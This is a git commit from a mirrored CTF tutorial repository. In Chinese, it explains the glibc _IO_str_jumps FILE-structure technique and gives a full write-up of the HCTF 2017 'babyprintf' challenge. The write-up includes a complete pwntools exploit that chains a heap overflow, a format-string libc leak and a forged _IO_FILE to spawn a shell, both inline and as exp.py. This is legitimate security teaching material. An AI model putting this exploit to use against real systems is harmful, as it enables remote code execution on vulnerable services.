mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
finish 6.1.25
This commit is contained in:
parent
c22c8ab99d
commit
08257a21f9
@ -518,7 +518,7 @@ _IO_vtable_check (void)
|
|||||||
|
|
||||||
|
|
||||||
## 新的利用技术
|
## 新的利用技术
|
||||||
在防御机制下通过修改虚表的利用技术已经用不了了,但同时出现了新的利用技术。既然无法将 vtable 指针指向 `__libc_IO_vtables` 以外的地方,那么就在 `__libc_IO_vtables` 里面找些有用的东西。比如 `_IO_str_jumps`:
|
在防御机制下通过修改虚表的利用技术已经用不了了,但同时出现了新的利用技术。既然无法将 vtable 指针指向 `__libc_IO_vtables` 以外的地方,那么就在 `__libc_IO_vtables` 里面找些有用的东西。比如 `_IO_str_jumps`(该符号在strip后会丢失):
|
||||||
```c
|
```c
|
||||||
const struct _IO_jump_t _IO_str_jumps libio_vtable =
|
const struct _IO_jump_t _IO_str_jumps libio_vtable =
|
||||||
{
|
{
|
||||||
@ -560,7 +560,7 @@ _IO_str_overflow (_IO_FILE *fp, int c)
|
|||||||
fp->_IO_read_ptr = fp->_IO_read_end;
|
fp->_IO_read_ptr = fp->_IO_read_end;
|
||||||
}
|
}
|
||||||
pos = fp->_IO_write_ptr - fp->_IO_write_base;
|
pos = fp->_IO_write_ptr - fp->_IO_write_base;
|
||||||
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
|
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) // 条件 #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
|
||||||
{
|
{
|
||||||
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
|
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
|
||||||
return EOF;
|
return EOF;
|
||||||
@ -569,11 +569,11 @@ _IO_str_overflow (_IO_FILE *fp, int c)
|
|||||||
char *new_buf;
|
char *new_buf;
|
||||||
char *old_buf = fp->_IO_buf_base;
|
char *old_buf = fp->_IO_buf_base;
|
||||||
size_t old_blen = _IO_blen (fp);
|
size_t old_blen = _IO_blen (fp);
|
||||||
_IO_size_t new_size = 2 * old_blen + 100; // new_size 的计算方法
|
_IO_size_t new_size = 2 * old_blen + 100; // 通过计算 new_size 为 "/bin/sh\x00" 的地址
|
||||||
if (new_size < old_blen)
|
if (new_size < old_blen)
|
||||||
return EOF;
|
return EOF;
|
||||||
new_buf
|
new_buf
|
||||||
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // fp 上的相对地址
|
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 在这个相对地址放上 system 的地址,即 system("/bin/sh")
|
||||||
if (new_buf == NULL)
|
if (new_buf == NULL)
|
||||||
{
|
{
|
||||||
/* __ferror(fp) = 1; */
|
/* __ferror(fp) = 1; */
|
||||||
@ -612,6 +612,9 @@ _IO_str_overflow (_IO_FILE *fp, int c)
|
|||||||
- _IO_buf_end = (bin_sh - 100) / 2
|
- _IO_buf_end = (bin_sh - 100) / 2
|
||||||
- _IO_write_ptr = 0x7fffffffffffffff
|
- _IO_write_ptr = 0x7fffffffffffffff
|
||||||
- _IO_write_base = 0
|
- _IO_write_base = 0
|
||||||
|
- _mode = 0
|
||||||
|
|
||||||
|
与传统的 house-of-orange 不同的是,这种利用方法不再需要知道 heap 的地址,因为 `_IO_str_jumps` vtable 是在 libc 上的,所以只要能泄露出 libc 的地址就可以了。
|
||||||
|
|
||||||
|
|
||||||
## CTF 实例
|
## CTF 实例
|
||||||
|
@ -21,6 +21,18 @@ Compiled by GNU CC version 6.3.0 20170406.
|
|||||||
```
|
```
|
||||||
64 位程序,开启了 canary 和 NX,默认开启 ASLR。
|
64 位程序,开启了 canary 和 NX,默认开启 ASLR。
|
||||||
|
|
||||||
|
在 Ubuntu16.10 上玩一下:
|
||||||
|
```
|
||||||
|
./babyprintf
|
||||||
|
size: 0
|
||||||
|
string: AAAA
|
||||||
|
result: AAAAsize: 10
|
||||||
|
string: %p.%p.%p.%p
|
||||||
|
result: 0x7ffff7dd4720.(nil).0x7ffff7fb7500.0x7ffff7dd4720size: -1
|
||||||
|
too long
|
||||||
|
```
|
||||||
|
真是个神奇的 "printf" 实现。首先 size 的值对 string 的输入似乎并没有什么影响;然后似乎是直接打印 string,而没有考虑格式化字符串的问题;最后程序应该是对 size 做了大小上的检查,而且是无符号数。
|
||||||
|
|
||||||
|
|
||||||
## 题目解析
|
## 题目解析
|
||||||
#### main
|
#### main
|
||||||
@ -35,100 +47,240 @@ Compiled by GNU CC version 6.3.0 20170406.
|
|||||||
| 0x004007c3 call sub.setbuf_950 ; void setbuf(FILE *stream,
|
| 0x004007c3 call sub.setbuf_950 ; void setbuf(FILE *stream,
|
||||||
| ,=< 0x004007c8 jmp 0x400815
|
| ,=< 0x004007c8 jmp 0x400815
|
||||||
| 0x004007ca nop word [rax + rax]
|
| 0x004007ca nop word [rax + rax]
|
||||||
| | ; JMP XREF from 0x00400832 (main)
|
| | ; CODE XREF from 0x00400832 (main)
|
||||||
| .--> 0x004007d0 mov edi, eax
|
| .--> 0x004007d0 mov edi, eax
|
||||||
| :| 0x004007d2 call sym.imp.malloc ; void *malloc(size_t size)
|
| :| 0x004007d2 call sym.imp.malloc ; rax = malloc(size) 分配堆空间
|
||||||
| :| 0x004007d7 mov esi, str.string: ; 0x400aa4 ; "string: "
|
| :| 0x004007d7 mov esi, str.string: ; 0x400aa4 ; "string: "
|
||||||
| :| 0x004007dc mov rbx, rax
|
| :| 0x004007dc mov rbx, rax
|
||||||
| :| 0x004007df mov edi, 1
|
| :| 0x004007df mov edi, 1
|
||||||
| :| 0x004007e4 xor eax, eax
|
| :| 0x004007e4 xor eax, eax
|
||||||
| :| 0x004007e6 call sym.imp.__printf_chk
|
| :| 0x004007e6 call sym.imp.__printf_chk
|
||||||
| :| 0x004007eb mov rdi, rbx
|
| :| 0x004007eb mov rdi, rbx ; rdi = rbx == rax
|
||||||
| :| 0x004007ee xor eax, eax
|
| :| 0x004007ee xor eax, eax
|
||||||
| :| 0x004007f0 call sym.imp.gets ; char*gets(char *s)
|
| :| 0x004007f0 call sym.imp.gets ; 调用 gets 读入字符串
|
||||||
| :| 0x004007f5 mov esi, str.result: ; 0x400aad ; "result: "
|
| :| 0x004007f5 mov esi, str.result: ; 0x400aad ; "result: "
|
||||||
| :| 0x004007fa mov edi, 1
|
| :| 0x004007fa mov edi, 1
|
||||||
| :| 0x004007ff xor eax, eax
|
| :| 0x004007ff xor eax, eax
|
||||||
| :| 0x00400801 call sym.imp.__printf_chk
|
| :| 0x00400801 call sym.imp.__printf_chk
|
||||||
| :| 0x00400806 mov rsi, rbx
|
| :| 0x00400806 mov rsi, rbx ; rsi = rbx == rax
|
||||||
| :| 0x00400809 mov edi, 1
|
| :| 0x00400809 mov edi, 1
|
||||||
| :| 0x0040080e xor eax, eax
|
| :| 0x0040080e xor eax, eax
|
||||||
| :| 0x00400810 call sym.imp.__printf_chk
|
| :| 0x00400810 call sym.imp.__printf_chk ; 调用 __printf_chk 打印字符串
|
||||||
| :| ; JMP XREF from 0x004007c8 (main)
|
| :| ; CODE XREF from 0x004007c8 (main)
|
||||||
| :`-> 0x00400815 mov esi, str.size: ; 0x400a94 ; "size: "
|
| :`-> 0x00400815 mov esi, str.size: ; 0x400a94 ; "size: "
|
||||||
| : 0x0040081a mov edi, 1
|
| : 0x0040081a mov edi, 1
|
||||||
| : 0x0040081f xor eax, eax
|
| : 0x0040081f xor eax, eax
|
||||||
| : 0x00400821 call sym.imp.__printf_chk
|
| : 0x00400821 call sym.imp.__printf_chk
|
||||||
| : 0x00400826 xor eax, eax
|
| : 0x00400826 xor eax, eax
|
||||||
| : 0x00400828 call sub._IO_getc_990
|
| : 0x00400828 call sub._IO_getc_990 ; 读入 size
|
||||||
| : 0x0040082d cmp eax, 0x1000
|
| : 0x0040082d cmp eax, 0x1000
|
||||||
| `==< 0x00400832 jbe 0x4007d0
|
| `==< 0x00400832 jbe 0x4007d0 ; size 小于等于 0x1000 时跳转
|
||||||
| 0x00400834 mov edi, str.too_long ; 0x400a9b ; "too long"
|
| 0x00400834 mov edi, str.too_long ; 0x400a9b ; "too long"
|
||||||
| 0x00400839 call sym.imp.puts ; int puts(const char *s)
|
| 0x00400839 call sym.imp.puts ; int puts(const char *s)
|
||||||
| 0x0040083e mov edi, 1
|
| 0x0040083e mov edi, 1
|
||||||
\ 0x00400843 call sym.imp.exit ; void exit(int status)
|
\ 0x00400843 call sym.imp.exit ; void exit(int status)
|
||||||
```
|
```
|
||||||
|
整个程序非常简单,首先分配 size 大小的空间,然后在这里读入字符串,由于使用 `gets()` 函数,可能会导致堆溢出。然后直接调用 `__printf_chk()` 打印这个字符串,可能会导致栈信息泄露。
|
||||||
|
|
||||||
#### read
|
这里需要注意的是 `__printf_chk()` 函数,由于程序开启了 `FORTIFY` 机制,所以程序在编译时所有的 `printf()` 都被 `__printf_chk()` 替换掉了。区别有两点:
|
||||||
```
|
- 不能使用 `%x$n` 不连续地打印,也就是说如果要使用 `%3$n`,则必须同时使用 `%1$n` 和 `%2$n`。
|
||||||
[0x00400850]> pdf @ sub._IO_getc_990
|
- 在使用 `%n` 的时候会做一些检查。
|
||||||
/ (fcn) sub._IO_getc_990 122
|
|
||||||
| sub._IO_getc_990 ();
|
|
||||||
| ; CALL XREF from 0x00400828 (main)
|
|
||||||
| 0x00400990 push rbp
|
|
||||||
| 0x00400991 push rbx
|
|
||||||
| 0x00400992 xor ebx, ebx
|
|
||||||
| 0x00400994 sub rsp, 0x28 ; '('
|
|
||||||
| 0x00400998 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
|
||||||
| 0x004009a1 mov qword [rsp + 0x18], rax
|
|
||||||
| 0x004009a6 xor eax, eax
|
|
||||||
| 0x004009a8 nop dword [rax + rax]
|
|
||||||
| ; JMP XREF from 0x004009ce (sub._IO_getc_990)
|
|
||||||
| .-> 0x004009b0 mov rdi, qword [obj.stdin] ; [0x601090:8]=0
|
|
||||||
| : 0x004009b7 movsxd rbp, ebx
|
|
||||||
| : 0x004009ba call sym.imp._IO_getc
|
|
||||||
| : 0x004009bf cmp al, 0xa ; 10
|
|
||||||
| : 0x004009c1 mov byte [rsp + rbx], al
|
|
||||||
| ,==< 0x004009c4 je 0x400a05
|
|
||||||
| |: 0x004009c6 add rbx, 1
|
|
||||||
| |: 0x004009ca cmp rbx, 9 ; 9
|
|
||||||
| |`=< 0x004009ce jne 0x4009b0
|
|
||||||
| | 0x004009d0 cmp byte [rsp + 9], 0xa ; [0xa:1]=255 ; 10
|
|
||||||
| |,=< 0x004009d5 je 0x400a00
|
|
||||||
| || ; JMP XREF from 0x00400a09 (sub._IO_getc_990)
|
|
||||||
| .---> 0x004009d7 xor edx, edx
|
|
||||||
| :|| 0x004009d9 xor esi, esi
|
|
||||||
| :|| 0x004009db mov rdi, rsp
|
|
||||||
| :|| 0x004009de call sym.imp.strtoul ; long strtoul(const char *str, char**endptr, int base)
|
|
||||||
| :|| 0x004009e3 mov rcx, qword [rsp + 0x18] ; [0x18:8]=-1 ; 24
|
|
||||||
| :|| 0x004009e8 xor rcx, qword fs:[0x28]
|
|
||||||
| ,====< 0x004009f1 jne 0x400a0b
|
|
||||||
| |:|| 0x004009f3 add rsp, 0x28 ; '('
|
|
||||||
| |:|| 0x004009f7 pop rbx
|
|
||||||
| |:|| 0x004009f8 pop rbp
|
|
||||||
| |:|| 0x004009f9 ret
|
|
||||||
|:|| 0x004009fa nop word [rax + rax]
|
|
||||||
| |:|| ; JMP XREF from 0x004009d5 (sub._IO_getc_990)
|
|
||||||
| |:|`-> 0x00400a00 mov ebp, 9
|
|
||||||
| |:| ; JMP XREF from 0x004009c4 (sub._IO_getc_990)
|
|
||||||
| |:`--> 0x00400a05 mov byte [rsp + rbp], 0
|
|
||||||
| |`===< 0x00400a09 jmp 0x4009d7
|
|
||||||
| | ; JMP XREF from 0x004009f1 (sub._IO_getc_990)
|
|
||||||
\ `----> 0x00400a0b call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## 漏洞利用
|
## 漏洞利用
|
||||||
|
所以这题应该不止是利用格式化字符串,其实是 house-of-orange 的升级版。由于 libc-2.24 中加入了对 vtable 指针的检查,原先的 house-of-arange 已经不可用了。然后新的利用技术又出现了,即一个叫做 `_IO_str_jumps` 的 vtable 里的 `_IO_str_overflow` 虚表函数(参考章节 4.13)。
|
||||||
|
|
||||||
|
#### overwrite top chunk
|
||||||
|
```python
|
||||||
|
def overwrite_top():
|
||||||
|
payload = "A" * 16
|
||||||
|
payload += p64(0) + p64(0xfe1) # top chunk header
|
||||||
|
prf(0x10, payload)
|
||||||
|
```
|
||||||
|
为了能将 top chunk 释放到 unrosted bin 中,首先覆写 top chunk 的 size 字段:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/8gx 0x602010-0x10
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000021
|
||||||
|
0x602010: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x602020: 0x0000000000000000 0x0000000000000fe1 <-- top chunk
|
||||||
|
0x602030: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
|
||||||
|
#### leak libc
|
||||||
|
```python
|
||||||
|
def leak_libc():
|
||||||
|
global libc_base
|
||||||
|
|
||||||
|
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
|
||||||
|
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
|
||||||
|
libc_base = libc_start_main - libc.symbols['__libc_start_main']
|
||||||
|
|
||||||
|
log.info("libc_base address: 0x%x" % libc_base)
|
||||||
|
```
|
||||||
|
然后利用格式化字符串来泄露 libc 的地址,此时的 top chunk 也已经放到 unsorted bin 中了:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/10gx 0x602010-0x10
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000021
|
||||||
|
0x602010: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x602020: 0x0000000000000000 0x0000000000000fc1 <-- old top chunk
|
||||||
|
0x602030: 0x00007ffff7dd1b58 0x00007ffff7dd1b58
|
||||||
|
0x602040: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ x/6gx 0x623010-0x10
|
||||||
|
0x623000: 0x0000000000000000 0x0000000000001011
|
||||||
|
0x623010: 0x7025702570257025 0x0000004170257025 <-- format string
|
||||||
|
0x623020: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ x/4gx 0x623000+0x1010
|
||||||
|
0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
|
||||||
|
0x624020: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
|
||||||
|
#### house of orange
|
||||||
|
```python
|
||||||
|
def house_of_orange():
|
||||||
|
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||||||
|
system_addr = libc_base + libc.symbols['system']
|
||||||
|
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||||||
|
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
|
||||||
|
|
||||||
|
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||||||
|
log.info("system address: 0x%x" % system_addr)
|
||||||
|
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||||||
|
log.info("vtable address: 0x%x" % vtable_addr)
|
||||||
|
|
||||||
|
stream = p64(0) + p64(0x61) # fake header # fp
|
||||||
|
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
|
||||||
|
stream += p64(0) # fp->_IO_write_base
|
||||||
|
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr
|
||||||
|
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
|
||||||
|
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
|
||||||
|
stream = stream.ljust(0xc0, '\x00')
|
||||||
|
stream += p64(0) # fp->_mode
|
||||||
|
|
||||||
|
payload = "A" * 0x10
|
||||||
|
payload += stream
|
||||||
|
payload += p64(0) * 2
|
||||||
|
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
|
||||||
|
payload += p64(system_addr)
|
||||||
|
prf(0x10, payload)
|
||||||
|
```
|
||||||
|
改进版的 house-of-orange,详细你已经看了参考章节,这里就不再重复了,内存布局如下:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/40gx 0x602010-0x10
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000021
|
||||||
|
0x602010: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x602020: 0x0000000000000000 0x0000000000000021
|
||||||
|
0x602030: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x602040: 0x0000000000000000 0x0000000000000061 <-- _IO_FILE_plus
|
||||||
|
0x602050: 0x0000000000000000 0x00007ffff7dd24f0
|
||||||
|
0x602060: 0x0000000000000000 0x7fffffffffffffff
|
||||||
|
0x602070: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602080: 0x00003ffffbdcd5ee 0x0000000000000000
|
||||||
|
0x602090: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6020b0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6020d0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6020e0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x6020f0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602100: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x602110: 0x0000000000000000 0x00007ffff7dce4c0 <-- vtable
|
||||||
|
0x602120: 0x00007ffff7a556a0 0x0000000000000000 <-- system
|
||||||
|
0x602130: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ x/gx 0x00007ffff7dce4c0 + 0x18
|
||||||
|
0x7ffff7dce4d8: 0x00007ffff7a8f2b0 <-- __overflow
|
||||||
|
```
|
||||||
|
|
||||||
|
#### pwn
|
||||||
|
```python
|
||||||
|
def pwn():
|
||||||
|
io.sendline("0") # abort routine
|
||||||
|
io.interactive()
|
||||||
|
```
|
||||||
|
最后触发异常处理,获得 shell。
|
||||||
|
|
||||||
开启 ASLR,Bingo!!!
|
开启 ASLR,Bingo!!!
|
||||||
```
|
```
|
||||||
|
$ python exp.py
|
||||||
|
[+] Starting local process './babyprintf': pid 8307
|
||||||
|
[*] libc_base address: 0x7f40dc2ca000
|
||||||
|
[*] _IO_list_all address: 0x7f40dc68c500
|
||||||
|
[*] system address: 0x7f40dc30f6a0
|
||||||
|
[*] /bin/sh address: 0x7f40dc454c40
|
||||||
|
[*] vtable address: 0x7f40dc6884c0
|
||||||
|
[*] Switching to interactive mode
|
||||||
|
result: AAAAAAAAAAAAAAAAsize: *** Error in `./babyprintf': malloc(): memory corruption: 0x00007f40dc68c500 ***
|
||||||
|
======= Backtrace: =========
|
||||||
|
...
|
||||||
|
$ whoami
|
||||||
|
firmy
|
||||||
```
|
```
|
||||||
|
|
||||||
#### exploit
|
#### exploit
|
||||||
完整 exp 如下:
|
完整 exp 如下:
|
||||||
```python
|
```python
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
#context.log_level = 'debug'
|
||||||
|
|
||||||
|
io = process(['./babyprintf'], env={'LD_PRELOAD':'./libc-2.24.so'})
|
||||||
|
libc = ELF('libc-2.24.so')
|
||||||
|
|
||||||
|
def prf(size, string):
|
||||||
|
io.sendlineafter("size: ", str(size))
|
||||||
|
io.sendlineafter("string: ", string)
|
||||||
|
|
||||||
|
def overwrite_top():
|
||||||
|
payload = "A" * 16
|
||||||
|
payload += p64(0) + p64(0xfe1) # top chunk header
|
||||||
|
prf(0x10, payload)
|
||||||
|
|
||||||
|
def leak_libc():
|
||||||
|
global libc_base
|
||||||
|
|
||||||
|
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
|
||||||
|
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
|
||||||
|
libc_base = libc_start_main - libc.symbols['__libc_start_main']
|
||||||
|
|
||||||
|
log.info("libc_base address: 0x%x" % libc_base)
|
||||||
|
|
||||||
|
def house_of_orange():
|
||||||
|
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||||||
|
system_addr = libc_base + libc.symbols['system']
|
||||||
|
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||||||
|
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
|
||||||
|
|
||||||
|
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||||||
|
log.info("system address: 0x%x" % system_addr)
|
||||||
|
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||||||
|
log.info("vtable address: 0x%x" % vtable_addr)
|
||||||
|
|
||||||
|
stream = p64(0) + p64(0x61) # fake header # fp
|
||||||
|
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
|
||||||
|
stream += p64(0) # fp->_IO_write_base
|
||||||
|
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr
|
||||||
|
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
|
||||||
|
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
|
||||||
|
stream = stream.ljust(0xc0, '\x00')
|
||||||
|
stream += p64(0) # fp->_mode
|
||||||
|
|
||||||
|
payload = "A" * 0x10
|
||||||
|
payload += stream
|
||||||
|
payload += p64(0) * 2
|
||||||
|
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
|
||||||
|
payload += p64(system_addr)
|
||||||
|
prf(0x10, payload)
|
||||||
|
|
||||||
|
def pwn():
|
||||||
|
io.sendline("0") # abort routine
|
||||||
|
io.interactive()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
overwrite_top()
|
||||||
|
leak_libc()
|
||||||
|
house_of_orange()
|
||||||
|
pwn()
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
63
src/writeup/6.1.25_pwn_hctf2017_babyprintf/exp.py
Normal file
63
src/writeup/6.1.25_pwn_hctf2017_babyprintf/exp.py
Normal file
@ -0,0 +1,63 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
#context.log_level = 'debug'
|
||||||
|
|
||||||
|
io = process(['./babyprintf'], env={'LD_PRELOAD':'./libc-2.24.so'})
|
||||||
|
libc = ELF('libc-2.24.so')
|
||||||
|
|
||||||
|
def prf(size, string):
|
||||||
|
io.sendlineafter("size: ", str(size))
|
||||||
|
io.sendlineafter("string: ", string)
|
||||||
|
|
||||||
|
def overwrite_top():
|
||||||
|
payload = "A" * 16
|
||||||
|
payload += p64(0) + p64(0xfe1) # top chunk header
|
||||||
|
prf(0x10, payload)
|
||||||
|
|
||||||
|
def leak_libc():
|
||||||
|
global libc_base
|
||||||
|
|
||||||
|
prf(0x1000, '%p%p%p%p%p%pA') # _int_free in sysmalloc
|
||||||
|
libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 241
|
||||||
|
libc_base = libc_start_main - libc.symbols['__libc_start_main']
|
||||||
|
|
||||||
|
log.info("libc_base address: 0x%x" % libc_base)
|
||||||
|
|
||||||
|
def house_of_orange():
|
||||||
|
io_list_all = libc_base + libc.symbols['_IO_list_all']
|
||||||
|
system_addr = libc_base + libc.symbols['system']
|
||||||
|
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
|
||||||
|
vtable_addr = libc_base + 0x3be4c0 # _IO_str_jumps
|
||||||
|
|
||||||
|
log.info("_IO_list_all address: 0x%x" % io_list_all)
|
||||||
|
log.info("system address: 0x%x" % system_addr)
|
||||||
|
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
|
||||||
|
log.info("vtable address: 0x%x" % vtable_addr)
|
||||||
|
|
||||||
|
stream = p64(0) + p64(0x61) # fake header # fp
|
||||||
|
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
|
||||||
|
stream += p64(0) # fp->_IO_write_base
|
||||||
|
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr
|
||||||
|
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
|
||||||
|
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
|
||||||
|
stream = stream.ljust(0xc0, '\x00')
|
||||||
|
stream += p64(0) # fp->_mode
|
||||||
|
|
||||||
|
payload = "A" * 0x10
|
||||||
|
payload += stream
|
||||||
|
payload += p64(0) * 2
|
||||||
|
payload += p64(vtable_addr) # _IO_FILE_plus->vtable
|
||||||
|
payload += p64(system_addr)
|
||||||
|
prf(0x10, payload)
|
||||||
|
|
||||||
|
def pwn():
|
||||||
|
io.sendline("0") # abort routine
|
||||||
|
io.interactive()
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
overwrite_top()
|
||||||
|
leak_libc()
|
||||||
|
house_of_orange()
|
||||||
|
pwn()
|
Loading…
Reference in New Issue
Block a user